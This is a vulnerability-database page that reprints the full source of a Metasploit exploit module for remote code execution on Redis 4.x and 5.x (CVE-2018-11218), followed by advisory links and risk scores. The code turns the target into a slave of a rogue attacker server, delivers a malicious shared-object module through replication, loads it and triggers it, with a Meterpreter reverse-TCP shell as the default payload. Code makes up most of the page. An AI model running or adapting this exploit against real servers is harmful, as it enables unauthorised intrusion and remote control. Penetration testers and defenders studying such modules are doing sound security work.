Redis Replication Code Execution
🗓️ 13 Nov 2018 00:00:00Reported by Green-m <[email protected]>Type
metasploit🔗 www.rapid7.com👁 99 Views
| Reporter | Title | Published | Views | Family All 63 |
|---|---|---|---|---|
| CVE-2018-11218 | 17 Jun 201817:00 | – | alpinelinux | |
| Security Bulletin: Multiple Vulnerabilities In Redis affects Watson Studio Local (CVE-2018-12453, CVE-2018-12326, CVE-2018-11218) | 20 Dec 201913:49 | – | ibm | |
| The vulnerability of the cmsgpack library in the Lua subsystem of the Redis database management system allows attackers to compromise the confidentiality, integrity, and accessibility of the protected information. | 16 May 201900:00 | – | bdu_fstec | |
| CVE-2018-11218 | 29 Mar 202001:12 | – | circl | |
| Redis Lua Subsystem Buffer Overflow Vulnerability | 29 Jun 201800:00 | – | cnvd | |
| CVE-2018-11218 | 17 Jun 201817:00 | – | cve | |
| CVE-2018-11218 | 17 Jun 201817:00 | – | cvelist | |
| [SECURITY] [DLA DLA-1396-1] redis security update | 26 Jun 201816:07 | – | debian | |
| [SECURITY] [DLA DLA-1396-1] redis security update | 26 Jun 201816:07 | – | debian | |
| [SECURITY] [DSA 4230-1] redis security update | 17 Jun 201815:47 | – | debian |
10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
include Msf::Auxiliary::Redis
include Msf::Module::Deprecated
moved_from 'exploit/linux/redis/redis_unauth_exec'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Redis Replication Code Execution',
'Description' => %q{
This module can be used to leverage the extension functionality added since Redis 4.0.0
to execute arbitrary code. To transmit the given extension it makes use of the feature of Redis
which called replication between master and slave.
},
'License' => MSF_LICENSE,
'Author' => [
'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
],
'References' => [
[ 'CVE', '2018-11218' ],
[ 'URL', 'https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf'],
[ 'URL', 'https://github.com/RedisLabs/RedisModulesSDK']
],
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [
['Automatic', {} ],
],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'SRVPORT' => '6379'
},
'Privileged' => false,
'DisclosureDate' => '2018-11-13',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ SERVICE_RESOURCE_LOSS ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ]
}
)
)
register_options(
[
Opt::RPORT(6379),
OptBool.new('CUSTOM', [true, 'Whether compile payload file during exploiting', true])
]
)
register_advanced_options(
[
OptString.new('RedisModuleInit', [false, 'The command of module to load and unload. Random string as default.']),
OptString.new('RedisModuleTrigger', [false, 'The command of module to trigger the given function. Random string as default.']),
OptString.new('RedisModuleName', [false, 'The name of module to load at first. Random string as default.'])
]
)
deregister_options('URIPATH', 'THREADS', 'SSLCert')
end
#
# Now tested on redis 4.x and 5.x
#
def check
connect
# they are only vulnerable if we can run the CONFIG command, so try that
return CheckCode::Safe('Redis CONFIG command is not accessible; target is not exploitable') unless (config_data = redis_command('CONFIG', 'GET', '*')) && config_data =~ /dbfilename/
if (info_data = redis_command('INFO')) && /redis_version:(?<redis_version>\S+)/ =~ info_data
report_redis(redis_version)
end
unless redis_version
return CheckCode::Unknown('Cannot retrieve redis version, please check it manually')
end
# Only vulnerable to version 4.x or 5.x
version = Rex::Version.new(redis_version)
if version >= Rex::Version.new('4.0.0')
return CheckCode::Vulnerable("Redis version is #{redis_version}")
end
CheckCode::Safe("Redis version #{redis_version} is not in the vulnerable range (< 4.0.0)")
ensure
disconnect
end
def has_check?
true # Overrides the override in Msf::Auxiliary::Scanner imported by Msf::Auxiliary::Redis
end
def exploit
if check_custom
@module_init_name = datastore['RedisModuleInit'] || Rex::Text.rand_text_alpha_lower(4..8)
@module_cmd = datastore['RedisModuleTrigger'] || "#{@module_init_name}.#{Rex::Text.rand_text_alpha_lower(4..8)}"
else
@module_init_name = 'shell'
@module_cmd = 'shell.exec'
end
#
# Prepare for payload.
#
# 1. Use custcomed payload, it would compile a brand new file during running, which is more undetectable.
# It's only worked on linux system.
#
# 2. Use compiled payload, it's avaiable on all OS, however more detectable.
#
if check_custom
buf = create_payload
generate_code_file(buf)
compile_payload
end
connect
#
# Send the payload.
#
redis_command('SLAVEOF', srvhost_addr, srvport.to_s)
redis_command('CONFIG', 'SET', 'dbfilename', module_file.to_s)
::IO.select(nil, nil, nil, 2.0)
# start the rogue server
start_rogue_server
# waiting for victim to receive the payload.
Rex.sleep(1)
redis_command('MODULE', 'LOAD', "./#{module_file}")
redis_command('SLAVEOF', 'NO', 'ONE')
# Trigger it.
print_status('Sending command to trigger payload.')
pull_the_trigger
# Clean up
Rex.sleep(2)
register_file_for_cleanup("./#{module_file}")
# redis_command('CONFIG', 'SET', 'dbfilename', 'dump.rdb')
# redis_command('MODULE', 'UNLOAD', "#{@module_init_name}")
ensure
disconnect
end
#
# We pretend to be a real redis server, and then slave the victim.
#
def start_rogue_server
socket = Rex::Socket::TcpServer.create({ 'LocalHost' => bindhost, 'LocalPort' => bindport })
print_status("Listening on #{Rex::Socket.to_authority(bindhost, bindport)}")
rsock = socket.accept
vprint_status('Accepted a connection')
# Start negotiation
loop do
request = rsock.read(1024)
vprint_status("in<<< #{request.inspect}")
response = ''
finish = false
if request.include?('PING')
response = "+PONG\r\n"
elsif request.include?('REPLCONF')
response = "+OK\r\n"
elsif request.include?('PSYNC') || request.include?('SYNC')
response = "+FULLRESYNC #{'Z' * 40} 1\r\n"
response << "$#{payload_bin.length}\r\n"
response << "#{payload_bin}\r\n"
finish = true
end
if response.length < 200
vprint_status("out>>> #{response.inspect}")
else
vprint_status("out>>> #{response.inspect[0..100]}......#{response.inspect[-100..]}")
end
rsock.put(response)
next unless finish
print_status('Rogue server close...')
rsock.close
socket.close
break
end
end
def pull_the_trigger
if check_custom
redis_command(@module_cmd.to_s)
else
execute_cmdstager
end
end
#
# Parpare command stager for the pre-compiled payload.
# And the command of module is hard-coded.
#
def execute_command(cmd, _opts = {})
redis_command('shell.exec', cmd.to_s)
rescue StandardError
nil
end
#
# Generate source code file of payload to be compiled dynamicly.
#
def generate_code_file(buf)
template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.erb'))
File.open(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.c'), 'wb') { |file| file.write(ERB.new(template).result(binding)) }
end
def compile_payload
make_file = File.join(Msf::Config.data_directory, 'exploits', 'redis', 'Makefile')
vprint_status('Clean old files')
vprint_status(`make -C #{File.dirname(make_file)}/rmutil clean`)
vprint_status(`make -C #{File.dirname(make_file)} clean`)
print_status('Compile redis module extension file')
res = `make -C #{File.dirname(make_file)} -f #{make_file} && echo true`
if res.include?('true')
print_good('Payload generated successfully! ')
else
print_error(res)
fail_with(Failure::BadConfig, 'Check config of gcc compiler.')
end
end
#
# check the environment for compile payload to so file.
#
def check_env
# check if linux
return false unless `uname -s 2>/dev/null`.include?('Linux')
# check if gcc installed
return false unless `command -v gcc && echo true`.include?('true')
# check if ld installed
return false unless `command -v ld && echo true`.include?('true')
true
end
def check_custom
return @custom_payload if @custom_payload
@custom_payload = false
@custom_payload = true if check_env && datastore['CUSTOM']
@custom_payload
end
def module_file
return @module_file if @module_file
@module_file = datastore['RedisModuleName'] || "#{Rex::Text.rand_text_alpha_lower(4..8)}.so"
end
def create_payload
p = payload.encoded
Msf::Simple::Buffer.transform(p, 'c', 'buf')
end
def payload_bin
return @payload_bin if @payload_bin
if check_custom
@payload_bin = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.so'))
else
@payload_bin = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'exp', 'exp.so'))
end
@payload_bin
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
13 Nov 2018 00:00Current
8.2High risk
Vulners AI Score8.2
CVSS 27.5
CVSS 39.8
EPSS0.59422